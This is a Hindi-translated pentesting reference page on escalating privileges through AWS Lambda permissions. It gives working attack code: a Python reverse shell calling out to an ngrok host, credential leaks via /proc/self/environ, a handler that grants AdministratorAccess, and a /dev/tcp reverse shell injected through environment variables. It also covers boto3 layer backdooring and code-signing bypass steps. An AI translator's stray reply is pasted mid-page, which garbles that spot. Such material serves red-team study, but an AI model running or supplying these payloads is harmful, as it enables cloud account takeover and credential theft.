AWS - Lambda Privesc

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

lambda

lambda के बारे में अधिक जानकारी:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

ऐसे उपयोगकर्ता जिनके पास iam:PassRole, lambda:CreateFunction, और lambda:InvokeFunction अनुमतियाँ हैं, अपना अधिकार बढ़ा सकते हैं.\ वे एक नया Lambda function बना सकते हैं और उसे किसी existing IAM role सौंप सकते हैं, जिससे वह function उस role से जुड़े permissions प्राप्त कर लेता है. उपयोगकर्ता फिर इस Lambda function में code लिखकर upload कर सकते हैं (उदा. rev shell के साथ).\ जब function सेटअप हो जाए, उपयोगकर्ता इसे trigger कर सकते हैं और AWS API के माध्यम से Lambda function को invoke करके इच्छित कार्य करवा सकते हैं. यह तरीका प्रभावी रूप से उपयोगकर्ता को Lambda function के माध्यम से अप्रत्यक्ष रूप से कार्य करने देता है, उस IAM role को दिए गए access स्तर के साथ.\

एक attacker इसका दुरुपयोग करके rev shell प्राप्त कर सकता है और token चुरा सकता है:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

आप lambda function से ही abuse the lambda role permissions भी कर सकते हैं.
यदि lambda role के पास पर्याप्त permissions हों, तो आप इसका उपयोग करके अपने लिए admin rights दे सकते हैं:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

बाहरी कनेक्शन की आवश्यकता के बिना lambda's role credentials को leak करना भी संभव है।
यह आंतरिक कार्यों में उपयोग होने वाले Network isolated Lambdas के लिए उपयोगी होगा।
यदि कुछ अज्ञात security groups आपके reverse shells को फ़िल्टर कर रहे हैं, तो यह कोड का टुकड़ा आपको सीधे lambda के output के रूप में credentials को leak करने की अनुमति देगा।

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

संभावित प्रभाव: निर्दिष्ट किसी भी lambda सेवा रोल पर सीधे privesc।

caution

ध्यान दें कि भले ही यह दिलचस्प लग सकता है, lambda:InvokeAsync अपने आप aws lambda invoke-async को निष्पादित करने की अनुमति नहीं देता, आपको lambda:InvokeFunction भी चाहिए।

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

पिछले परिदृश्य की तरह, आप अपने लिए lambda:InvokeFunction अनुमति दे सकते हैं अगर आपके पास अनुमति lambda:AddPermission हो।

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

संभावित प्रभाव: निर्दिष्ट किसी भी arbitrary lambda सेवा भूमिका पर प्रत्यक्ष privesc।

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

उन उपयोगकर्ताओं जिनके पास iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping permissions हैं (और संभावित रूप से dynamodb:PutItem और dynamodb:CreateTable) वे lambda:InvokeFunction के बिना भी परोक्ष रूप से escalate privileges कर सकते हैं.
वे एक Lambda function जिसमें दुष्ट कोड हो और जिसे एक मौजूदा IAM role असाइन किया गया हो बना सकते हैं।

Lambda को सीधे ट्रिगर करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB table सेटअप या उपयोग करता है, और उसे event source mapping के माध्यम से Lambda से लिंक करता है। यह सेटअप सुनिश्चित करता है कि तालिका में नए item के प्रविष्टि पर Lambda function स्वतः ही ट्रिगर हो जाए, चाहे वह प्रविष्टि उपयोगकर्ता की क्रिया से हो या किसी अन्य प्रक्रिया से — इस तरह परोक्ष रूप से Lambda function invoke होता है और पास की गई IAM role की permissions के साथ कोड execute हो जाता है।

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

यदि AWS environment में DynamoDB पहले से सक्रिय है, तो उपयोगकर्ता को केवल Lambda फ़ंक्शन के लिए event source mapping स्थापित करने की आवश्यकता है। हालांकि, यदि DynamoDB इस्तेमाल में नहीं है, तो उपयोगकर्ता को streaming सक्षम एक नया table बनाना होगा:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

अब यह संभव है Lambda function को DynamoDB table से कनेक्ट करना event source mapping बनाकर:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda function के DynamoDB stream से linked होने पर, attacker indirectly trigger the Lambda by activating the DynamoDB stream कर सकता है। यह DynamoDB table में एक item insert करने से किया जा सकता है:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

संभावित प्रभाव: निर्दिष्ट lambda सेवा भूमिका पर सीधे privesc।

lambda:AddPermission

इस अनुमति वाले हमलावर खुद (या दूसरों) को कोई भी अनुमति दे सकता है (यह रिसोर्स-आधारित पॉलिसीज़ उत्पन्न करता है जो रिसोर्स तक पहुँच देने के लिए होती हैं):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potential Impact: कोड को संशोधित करने और चलाने की अनुमति देकर lambda service role पर सीधे privesc।

lambda:AddLayerVersionPermission

इस अनुमति वाले attacker खुद (या दूसरों) को अनुमति lambda:GetLayerVersion दे सकता है। वह लेयर तक पहुँच सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है।

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

संभावित प्रभाव: संवेदनशील जानकारी तक संभावित पहुँच।

lambda:UpdateFunctionCode

ऐसे उपयोगकर्ता जिनके पास lambda:UpdateFunctionCode permission है, उनके पास यह क्षमता है कि वे किसी मौजूदा Lambda function के कोड को संशोधित कर सकें जो किसी IAM role से जुड़ा हुआ है।\
हमलावर lambda के कोड को संशोधित कर सकते हैं ताकि IAM credentials को exfiltrate किया जा सके

हालाँकि हमलावर के पास सीधे तौर पर function को invoke करने की क्षमता न भी हो, यदि Lambda function पहले से मौजूद और संचालित है, तो यह संभव है कि वह मौजूदा workflows या events के माध्यम से trigger हो जाए, जिससे संशोधित कोड का अप्रत्यक्ष रूप से execution आसान हो जाता है।

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

संभावित प्रभाव: उपयोग किए गए Lambda service role में सीधे privesc।

lambda:UpdateFunctionConfiguration

RCE env variables के माध्यम से

इन अनुमतियों के साथ environment variables जोड़ना संभव है जो Lambda को arbitrary code चलाने के लिए मजबूर कर देंगे। उदाहरण के लिए python में environment variables PYTHONWARNING और BROWSER का दुरुपयोग करके एक python process को arbitrary commands चलवाया जा सकता है:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

अन्य scripting languages के लिए अन्य env variables होते हैं जिन्हें आप उपयोग कर सकते हैं। अधिक जानकारी के लिए scripting languages के उप-विभाग देखें:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers आपको आपके lamdba function में code शामिल करने की अनुमति देता है, लेकिन storing it separately, ताकि function code छोटा रह सके और several functions can share code

Lambda के अंदर आप नीचे दिए गए function की तरह एक function का उपयोग करके यह जांच सकते हैं कि python code किन paths से लोड हो रहा है:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

ये स्थान हैं:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

उदाहरण के लिए, लाइब्रेरी boto3 /var/runtime/boto3 से लोड होती है (4th position).

Exploitation

It's possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

bash
pip3 install -t ./lambda_layer boto3

आप ./lambda_layer/boto3/__init__.py खोल सकते हैं और global code में backdoor जोड़ सकते हैं (उदाहरण के लिए exfiltrate credentials करने या reverse shell प्राप्त करने के लिए एक function)।

फिर, उस ./lambda_layer डायरेक्टरी को zip करें और new lambda layer को अपने खाते में upload करें (या पीड़ित के खाते में, लेकिन इसके लिए आपके पास permissions नहीं हो सकते)।
ध्यान दें कि आपको एक python फोल्डर बनाना होगा और लाइब्रेरीज़ को वहाँ रखना होगा ताकि /opt/python/boto3 को override किया जा सके। साथ ही, layer को उस lambda द्वारा उपयोग किए जाने वाले python version के साथ compatible होना चाहिए और अगर आप इसे अपने खाते में upload करते हैं, तो यह same region में होना चाहिए:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

अब अपलोड की गई lambda layer को किसी भी खाते द्वारा पहुँच योग्य बनाएं:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

और lambda layer को victim lambda function में जोड़ें:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

अगला कदम होगा या तो हम खुद invoke the function करना यदि संभव हो या सामान्य तरीकों से it gets invoked होने तक इंतज़ार करना — जो अधिक सुरक्षित तरीका है।

A more stealth way to exploit this vulnerability can be found in:

AWS - Lambda Layers Persistence

संभावित प्रभाव: उपयोग किए गए lambda service role पर सीधे privesc।

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

शायद उन permissions के साथ आप एक function बना कर उसे URL कॉल करके execute कर सकते हैं... पर मैंने इसे टेस्ट करने का तरीका नहीं ढूँढा, तो अगर आप करते हैं तो बताइए!

Lambda MitM

कुछ lambdas उपयोगकर्ताओं से parameters में receiving sensitive info from the users in parameters. प्राप्त कर रही होंगी। अगर उनमें से किसी में RCE मिल जाए, तो आप अन्य उपयोगकर्ताओं द्वारा भेजी जा रही जानकारी को exfiltrate कर सकते हैं; देखें:

AWS - Lambda Steal Requests

संदर्भ

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Lambda Code Signing को बायपास करना

अगर कोई Lambda function code signing लागू करता है, तो एक attacker जो Code Signing Config (CSC) को हटा सके या उसे Warn पर downgrade कर दे, वह unsigned code को function पर deploy कर सकता है। इससे function के IAM role या triggers को modify किए बिना integrity protections bypass हो जाते हैं।

Permissions (इनमें से एक):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notes:

  • Path B के लिए, यदि CSC policy WARN पर सेट है (unsigned artifacts allowed), तो आपको AWS Signer profile की आवश्यकता नहीं है।

Steps (REGION=us-east-1, TARGET_FN=):

एक छोटा payload तैयार करें:

bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

पथ A) CSC हटाएं फिर कोड अपडेट करें:

bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

पथ B) Warn पर डाउनग्रेड करें और कोड अपडेट करें (यदि delete की अनुमति नहीं है):

bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Confirmed. I will follow the rules exactly. Please provide the README.md content you want translated to Hindi.

bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

संभावित प्रभाव: उस function में arbitrary unsigned code को push और run करने की क्षमता, जो signed deployments लागू करने के लिए होना चाहिए था, संभवतः function role's permissions के साथ code execution का कारण बन सकती है।

सफाई:

bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें